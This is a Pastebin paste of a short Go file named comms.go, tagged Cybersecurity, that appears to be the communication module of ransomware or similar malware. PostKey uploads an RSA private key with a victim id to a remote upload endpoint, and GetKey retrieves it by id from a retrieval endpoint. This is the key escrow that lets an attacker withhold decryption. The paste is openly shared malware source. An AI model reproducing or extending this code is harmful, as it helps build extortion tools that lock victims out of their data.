Advertisement
FlyFar

comms.go

Dec 17th, 2023
1,078
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 0.61 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. import (
  4.     "crypto/rsa"
  5.     "io"
  6.     "net/http"
  7.     "net/url"
  8. )
  9.  
  10. // PostKey sends the private key to the remote serrver
  11. func PostKey(priv *rsa.PrivateKey, id string) error {
  12.     key := Stringify(priv)
  13.  
  14.     _, err := http.PostForm(UploadEndpoint, url.Values{
  15.         "k": {key},
  16.         "i": {id},
  17.     })
  18.  
  19.     return err
  20. }
  21.  
  22. func GetKey(id string) (*rsa.PrivateKey, error) {
  23.     req, err := http.PostForm(RetrieveEndpoint, url.Values{
  24.         "i": {id},
  25.     })
  26.  
  27.     if err != nil {
  28.         return nil, err
  29.     }
  30.  
  31.     key := make([]byte, req.ContentLength)
  32.  
  33.     io.ReadFull(req.Body, key)
  34.  
  35.     priv, err := DecodeKey(key)
  36.  
  37.     return priv, err
  38. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement